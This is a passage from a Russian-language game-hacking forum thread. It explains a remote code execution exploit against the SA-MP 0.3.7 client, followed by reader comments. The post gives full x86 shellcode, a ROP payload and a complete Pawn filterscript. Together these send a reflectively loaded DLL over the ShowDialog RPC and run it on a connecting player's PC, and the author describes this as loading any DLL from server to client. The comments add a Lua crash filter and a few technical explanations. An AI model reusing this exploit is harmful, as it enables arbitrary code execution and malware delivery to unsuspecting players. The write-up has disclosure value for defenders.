ограничивающий. К счастью, с этой проблемой сталкивались и другие разработчики, а поэтому уже есть готовое решение, под названием sRDI. В рамках этой статьи я не буду вдаваться в подробности и принципы работы данного решения, лишь вкратце озвучку необходимую для нас важную информацию. Этот инструмент модифицирует dll таким образом, чтобы она сама загрузилась, при этом достаточно передать управление первому её байту.
Значит, теперь перед нами стоит вполне конкретная задача: передать саму dll, выделить под неё память с правами записи и исполнения, скопировать туда, вызвать. Главный вопрос здесь в том, как именно передать с сервера на клиент килобайты или даже мегабайты потенциальной dll. Да всё максимально просто, можно просто записать её в конец битстрима RPC ShowDialog! Т.к. там записывается в конце сжатый text, необходимо выровнять по байту указатель на запись. Теперь задача стала ещё конкретнее и яснее: в нашем шеллкоде необходимо выделить память, скопировать туда данные из битстрима, вызвать. Также неплохо было бы, чтобы наш шеллкод сам определял, какого размера у нас dll и выделял соответствующий объём памяти. Что ж, приступим.
Сперва нам надо добраться до битстрима. Помните, в гаджете для stack pivoting мы добирались до указателя на caption через ebp? Этот caption был во стекфрейме обработчика RPC ShowDialog. Объект битстрима находится там же. Посмотрим:
UD9MMBG.jpeg

Да он прям перед этим caption и лежит!
Код:
mov eax, [ebp+0x3c]
sub eax, 0x118
Далее из структуры BitStream нам нужны поля numberOfBitsUsed, readOffset и указатель на данные data. Они лежат в самом начале, по оффсетам +0x0, +0x8 и +0xC соответственно. readOffset и numberOfBitsUsed мы переведём из бит в байты и вычтем первое из второго, тем самым получив количество непрочитанных байт. Т.к. мы записываем в конец битстрима нашу dll, а SA-MP читает только структуру для диалога, то количество непрочитанных байт и будет размером, который нам необходимо выделить для копирования.
Подглядеть как выполняется перевод из бит в байты можно в исходниках RakNet:
Код:
#define BITS_TO_BYTES(x) (((x)+7)>>3)
Мы сделаем аналогично. Поместим в регистры ecx, edx, esi значения numberOfBitsUsed, readOffset и data соответственно, переведём из бит в байты, затем из ecx вычтем edx чтобы получить размер dll, а к esi наоборот прибавим edx, чтобы получить указатель на начало нашей dll, а не начало всех данных. Таким образом, часть работы с битстримом у нас будет иметь вид:
Код:
;# get bitstream
mov eax, [ebp+0x3c] ;# caption
sub eax, 0x118      ;# bitstream
mov ecx, [eax]      ;# numberOfBitsUsed
mov edx, [eax+0x8]  ;# readOffset
mov esi, [eax+0xC]  ;# data ptr
add ecx, 7          ;# numberOfBitsUsed bits to bytes
shr ecx, 3
add edx, 7          ;# readOffset bits to bytes
shr edx, 3
sub ecx, edx        ;# numberOfBitsUsed - readOffset = dll size
add esi, edx        ;# data ptr         + readOffset = dll ptr
Теперь нам нужно выделить память. Делается это с помощью функции WinAPI VirtualAlloc, её адрес есть в таблице импортов игры по адресу 0x8581A4:
Код:
LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, DWORD dwSize, DWORD flAllocationType, DWORD flProtect)
Согласно документации функции, нам нужно вызвать эту функцию с flAllocationType = MEM_COMMIT | MEM_RESERVE, flProtect = PAGE_EXECUTE_READWRITE. В dwSize нам надо передать размер выделяемого участка памяти, в lpAddress необходимо передать 0. После выполнения адрес выделенного участка будет помещён в регистр eax. Также важно помнить, что при вызове подобных функций могут быть затёрты значения в регистрах ebx, ecx, edx, поэтому перед вызовом необходимо их значения сохранить на стеке, а после вызова - восстановить. В нашем случае регистры eax (указатель на битстрим) и edx (readOffset) нам больше не нужны, ebx мы не используем, а вот ecx нам ещё понадобится, поэтому перед вызовом его надо сохранить. Также мы поместим возвращённое в eax значение в edi для дальнейшего копирования. Таким образом, часть с выделением памяти у нас будет иметь вид:
Код:
;# call VirtualAlloc
push ecx                        ;# save ecx
push 0x40                       ;# flProtect = PAGE_EXECUTE_READWRITE
push 0x3000                     ;# flAllocationType = MEM_COMMIT | MEM_RESERVE
push ecx                        ;# dwSize = dll size
push 0                          ;# lpAddress = 0
mov eax, dword ptr [0x008581A4] ;# get VirtualAlloc
call eax                        ;# call VirtualAlloc
mov edi, eax
pop ecx                         ;# restore ecx
После этого у нас в edi помещён адрес выделенной памяти, куда нужно копировать, в esi - откуда копировать, ecx - сколько копировать. Поэтому мы можем запустить цикл копирования:
Код:
rep movsb
А затем передать управление dll:
Код:
call eax
Целиком наш шеллкод будет выглядеть следующим образом:
Код:
;# repair stack
lea esp, [ebp-0x128]

;# get bitstream
mov eax, [ebp+0x3c]             ;# caption
sub eax, 0x118                  ;# bitstream
mov ecx, [eax]                  ;# numberOfBitsUsed
mov edx, [eax+0x8]              ;# readOffset
mov esi, [eax+0xC]              ;# data ptr
add ecx, 7                      ;# numberOfBitsUsed bits to bytes
shr ecx, 3       
add edx, 7                      ;# readOffset bits to bytes
shr edx, 3       
sub ecx, edx                    ;# numberOfBitsUsed - readOffset = dll size
add esi, edx                    ;# data ptr         + readOffset = dll ptr

;# call VirtualAlloc
push ecx                        ;# save ecx
push 0x40                       ;# flProtect = PAGE_EXECUTE_READWRITE
push 0x3000                     ;# flAllocationType = MEM_COMMIT | MEM_RESERVE
push ecx                        ;# dwSize = dll size
push 0                          ;# lpAddress = 0
mov eax, dword ptr [0x008581A4] ;# get VirtualAlloc
call eax                        ;# call VirtualAlloc
mov edi, eax
pop ecx                         ;# restore ecx

;# copy dll
rep movsb

;# execute dll
call eax

;# epilogue
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Уложились в 77 байт, отлично.
Для проверки работоспособности я предлагаю написать простенький asi-мод, модифицировать с помощью sRDI, прочитать из pawn и записать его в битстрим. Пусть это будет тоже самое изменение денег, но уже из asi:
Код:
#include <Windows.h>

VOID CALLBACK MainTimer(HWND hwnd, UINT message, UINT idTimer, DWORD dwTime)
{
	*(DWORD*)0x00B7CE50 = 1137;
	KillTimer(NULL, 0);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReasonForCall, LPVOID lpReserved)
{
	switch (dwReasonForCall)
	{
	case DLL_PROCESS_ATTACH:
		SetTimer(NULL, 0, 1000, (TIMERPROC)MainTimer);
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}
Скомпилируем, прогоним через sRDI:
MlVj2A6.jpeg

Обновим наш filterscript, вставив новый шеллкод и добавив чтение dll из файла и запись в битстрим, не забыв при этом сделать выравнивание:
Код:
#define FILTERSCRIPT
#include <a_samp>
#include <Pawn.RakNet>

new const RPC_ShowDialog = 61;
new const RPC_ScrSetGravity = 146;

new payload1[] =
{
//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9   +10   +11   +12   +13   +14   +15
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x84, 0x39, 0x86, 0x00
};

new payload2[] =
{
    0x15, 0x27, 0x40, 0x00, // pop ecx gadget
    0x37, 0x00, 0x00, 0x00, // ecx value
    0x8D, 0x2E, 0x40, 0x00, // pop edi gadget
    0x00, 0x60, 0x86, 0x00, // edi value
    0xE6, 0x2E, 0x5B, 0x00, // rep movsd gadget
    0x00, 0x00, 0x00, 0x00, // edi value
    0x00, 0x00, 0x00, 0x00, // esi value
    0x00, 0x60, 0x86, 0x00, // ret to dst
    0x00, 0x00, 0x00, 0x00, // pad
 
    0x8D, 0xA5, 0xD8, 0xFE, 0xFF, 0xFF, 0x8B, 0x45, 0x3C, 0x2D, 0x18, 0x01, 0x00, 0x00, 0x8B, 0x08, 0x8B,
    0x50, 0x08, 0x8B, 0x70, 0x0C, 0x83, 0xC1, 0x07, 0xC1, 0xE9, 0x03, 0x83, 0xC2, 0x07, 0xC1, 0xEA, 0x03,
    0x29, 0xD1, 0x01, 0xD6, 0x51, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0x51, 0x6A, 0x00, 0xA1, 0xA4,
    0x81, 0x85, 0x00, 0xFF, 0xD0, 0x89, 0xC7, 0x59, 0xF3, 0xA4, 0xFF, 0xD0, 0x5F, 0x5E, 0xB8, 0x01, 0x00,
    0x00, 0x00, 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00
};


new BitStream:payload_bs;

new payload_array[21111];

public OnFilterScriptInit()
{
    payload_bs = BS_New();
    BS_WriteUint16(payload_bs, 1); // dialog id
    BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style
    BS_WriteUint8(payload_bs, sizeof(payload2)); // caption length
    for(new i = 0; i < sizeof(payload2); i++) // caption
    {
        BS_WriteUint8(payload_bs, payload2[i]);
    }
    BS_WriteString8(payload_bs, ""); // left button
    BS_WriteString8(payload_bs, ""); // right button
    BS_WriteCompressedString(payload_bs, payload1); // text

    // align
    new offset;
    BS_GetWriteOffset(payload_bs, offset);
    BS_SetWriteOffset(payload_bs, PR_BYTES_TO_BITS(PR_BITS_TO_BYTES(offset)));

    // dll
    new File:fi = fopen("test.asi");
    new payload_len = flength(fi);
    if(payload_len > sizeof(payload_array) * 4)
    {
        printf("ERROR! Not enough space to read! %d needed", payload_len / 4);
    }
    else
    {
        fblockread(fi, payload_array);
        printf("SUCC READ PAYLOAD of %d bytes", payload_len);
        for(new i = 0; i < payload_len / 4; i++)
        {
            BS_WriteUint32(payload_bs, payload_array[i]);
        }
    }
    fclose(fi);
}

public OnFilterScriptExit()
{
    BS_Delete(payload_bs);
}

public OnPlayerCommandText(playerid, cmdtext[])
{
    if(!strcmp("/aasd1", cmdtext, true))
    {
        PerformRCE(playerid);
        return 1;
    }
    return 0;
}

PerformRCE(playerid)
{
    SetPlayerGravity(playerid, Float:0x3C658B90);
    PR_SendRPC(payload_bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
    HidePlayerDialog(playerid);
    SetPlayerGravity(playerid, 0.008);
}

SetPlayerGravity(playerid, Float:gravity)
{
    new BitStream:bs = BS_New();
    BS_WriteFloat(bs, gravity);
    PR_SendRPC(bs, playerid, RPC_ScrSetGravity, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
    BS_Delete(bs);
}

HidePlayerDialog(playerid)
{
    new BitStream:bs = BS_New();
    BS_WriteUint16(bs, -1); // id
    BS_WriteUint8(bs, DIALOG_STYLE_MSGBOX); // style
    BS_WriteString8(bs, " "); // caption
    BS_WriteString8(bs, ""); // left button
    BS_WriteString8(bs, ""); // right button
    BS_WriteCompressedString(bs, " "); // text
    PR_SendRPC(bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
    BS_Delete(bs);
}
Заходим в игру, вводим команду, ждём некоторое время, пока RPC будет передан на клиент, т.к. он теперь достаточно объёмный, и... всё работает! Поздравляю, мы только что с вами сделали sasi loader, то бишь Server ASI Loader. Теперь вы можете подгружать с сервера на клиент любые dll, которые захотите. Но помните, что загрузка вредоносных программ карается по закону.

Заключение

Что ж, благодарю, что прочитали данную статью. Буду рад вашим комментариям, замечаниям, вопросам. В заключение отмечу, что написанный шеллкод будет работать на всех ревизиях 0.3.7, т.к. в них нет отличий в тех функциях, с которыми мы работали. Судя по всему, данная уязвимость появилась с момента появления системы диалогов, то есть с версии 0.3a (2009), и на данный момент уже исправлена в последней версии клиента R5 (2022). Конечно, фикс можно реализовать и для других версий с помощью тех же модов asi или даже lua. Строго рекомендуется использовать последнюю версию SA-MP со всеми исправлениями, а также не заходить на те сервера, которые вызывают у вас подозрение и которым вы не доверяете.
P.S. понравилась статья? будьте на связи, у меня для вас есть ещё кое-что интересное ;)
 
Последнее редактирование:

Vintik

Через тернии к звёздам
Проверенный
1,556
1,027
Лично я думал, что все подобные читы написаны чисто на c++. Просто не особа вижу смысла опускаться ниже. Возможно правда есть такая необходимость при перехвате/обработке трафика (Подобные топовый софт никогда не пытался писать). Но, ладно, мне есть куда расти и это хорошо, спасибо за ответ :)
Так и есть, они написаны на С++.

Но простой тебе пример - нужно сделать функцию посадки игрока в машину. Будь у тебя исходный код игры - ты бы просто добавил свой код (мод/плагин) и скомпилировал, была бы игра с нужным тебе дополнением.

А у тебя доступа к исходному коду нет. И что делать? Нужно перехватывать игровую функцию, но как? У тебя, по сути, есть код этой функции на ассемблере, и если ты хочешь как-то передать управление на твой код - тебе нужно в исходный код добавить прыжок в твой, например.

Делается ли это средствами С++? Ну по идее да, может вообще без единой ассемблерной вставки сделать (просто в память записывать нужные массивы байтов), но все же менять тебе нужно ассемблерный код, поэтому к нему прибегать надо.

Что касается знаний @EvgeN 1137 - он молодец, статья написана грамотно и доходчиво. Ничего сверхъестественного он не сделал, хотя метод реализации все же заслуживает похвалы.
Уверен, и ты в ближайшем будущем будешь уметь делать подобные вещи, если продолжишь учиться. У нас в разделе С++ много грамотных ребят, тот же Кинч, Хомка и прочие, а при необходимости - подключаются к обсуждению и администраторы форума, БХ Тим. Спрашивай - тебе помогут.

А тем кто ставит на все его (кому я отвечаю) сообщения баг - зачем вы это делаете???
 

Mirrorka

Известный
Всефорумный модератор
888
1,360
На самом деле, удивлен что распространение этого вышло настолько рано.
Уязвимость живет и близко не пару месяцев, но людей знало об этом уже не мало (в масштабах рода уязвимости).
Благо, каждый кто знал о уязвимости, не использовал это во вредоносных целях, по крайней мере, я знаю лишь о слишком узком использовании.
 
  • Клоун
Реакции: Fott и xanndiane

Vintik

Через тернии к звёздам
Проверенный
1,556
1,027
@EvgeN 1137, а сколько по времени будет доходить пакет с DLL-кой от сервера?
Не будет ли загрузка слишком долгой?
 
  • Клоун
Реакции: xanndiane

Vintik

Через тернии к звёздам
Проверенный
1,556
1,027
у меня где-то 3-4 секунды передавалась dll'ка размером 90кб
благодарю за ответ. тогда позволю себе еще один вопрос.
sRDE или как эта хрень называется, что передаёшь управление на 1й байт - и запускается dll'ка.
вопрос - а как управление вернётся назад в игру? или sRDE предусматривает это, что когда заканчивает своё выполнение длл-ка - управление возвращается в место, откуда вызывалось?
 
  • Клоун
Реакции: xanndiane
D

deleted-user-222200

Гость
потестил на разных сборках, пришел к выводу, что эксплуатация RCE крашит игру на любой из них, где есть скрипт, хоть как-нибудь связанный с диалогами (да и не только), и оказывается, что игра зависнет даже с такой луашкой, что оч меня смутило (ну и естественно, при краше ни до какого исполнения кода дело не дойдет)
Lua:
local sampev = require 'samp.events'

function sampev.onShowDialog(dialogId, style, title, button1, button2, text)
    return {dialogId, style, title, button1, button2, text}
end

из этого делаем вывод, что уязвимости подвержены только чуть ли не чистые сборки (к слову, ни на одной из тех, что я чекал, не получилось ее заюзать, пока не убрал пару-другую файлов), так ли фикс нужен тогда? аххахах

Lua:
function sampev.onShowDialog(dialogId, style, title, button1, button2, text)
    if style == 2 then
        local chr_in_line = 0
        for i = 1, #text do
            local c = string.sub(text, i, i)
            if c == '\n' then
                chr_in_line = 0
            else
                if chr_in_line >= 131 then
                    sampfuncsLog("text: "..text)
                    return false
                end
                chr_in_line = chr_in_line + 1
            end
        end
    end
end
--из исходника антикрашера от fanbumbot - 2022-23
Проверить уязвимость на себе можно на сервере криптона командой /rcetest
 
Последнее редактирование модератором:
  • Нравится
  • Клоун
Реакции: xanndiane и MrCreepTon

EvgeN 1137

?
Автор темы
Проверенный
189
762
или sRDE предусматривает это, что когда заканчивает своё выполнение длл-ка - управление возвращается в место, откуда вызывалось?
ну не сам sRDI предусматривает, а тот самый reflective loader, что он внедряет в дллку
и заканчивает выполнение не дллка, а reflective loader

На самом деле, удивлен что распространение этого вышло настолько рано.
могло выйти ещё чуть раньше, не будь я ленивой жопой чтобы написать всю эту писанину

В связи с чем это слили? Причем подробный гайд как это сделать
в связи с закрытием сампа, как одна из причин
 
  • Нравится
  • Клоун
Реакции: xanndiane и Vintik
несовсем понимаю, как пакеты будут доходить (так, чтобы клиент их обработал, а не откинул) до неподключенной к твоему серверу системе
Казлер арендовал сервер со спуфом 😎, подменяет ip в пакете на IP жертвы, в данном случае будет менять на ip сервера и слать игроку запросы с ратками для своей фермы гоблинов
 
  • Нравится
  • Клоун
Реакции: xanndiane и whyega52

Vintik

Через тернии к звёздам
Проверенный
1,556
1,027
Макрос для перевода битов в байты (путем прибавления к входной переменной +7 с побитовым сдвигом на 3 бита вперёд (Поправьте меня если что.)).
а можно пример на конкертных числах как оно переводит, а то не врубаюсь...
 
  • Клоун
Реакции: xanndiane

kin4stat

mq-team · kin4@naebalovo.team
Всефорумный модератор
2,746
4,831
а можно пример на конкертных числах как оно переводит, а то не врубаюсь...
это ничто иное целочисленное деление на 8 с округлением вверх, просто записанное в более "оптимизированной" форме.

Если посчитать:

7 это 0b111
Смещение на 3 бита вправо(откусывание младших 3 битов) это целочисленное деление на 8. Почему так получается?
взять любое число и прибавить 7, получим:

0b000 + 0b111 -> 0b0111 (7) 0b001 + 0b111 -> 0b1000 (8) 0b010 + 0b111 -> 0b1001 (9) 0b011 + 0b111 -> 0b1010 (10) 0b100 + 0b111 -> 0b1011 (11) 0b101 + 0b111 -> 0b1100 (12) 0b110 + 0b111 -> 0b1101 (13) 0b111 + 0b111 -> 0b1110 (14)


Ну и потом от этого откусываем младшие 3 бита:

(0b0111 >> 3) -> 0b0 (0b1000 >> 3) -> 0b1 (0b1001 >> 3) -> 0b1 (0b1010 >> 3) -> 0b1 (0b1011 >> 3) -> 0b1 (0b1100 >> 3) -> 0b1 (0b1101 >> 3) -> 0b1 (0b1110 >> 3) -> 0b1
 

TheBadZero

Gachi Solider
Проверенный
360
170
Это update прямо из клиента, всё четко, можно использовать эту версию как autoupdate из сервера
 
  • Клоун
Реакции: xanndiane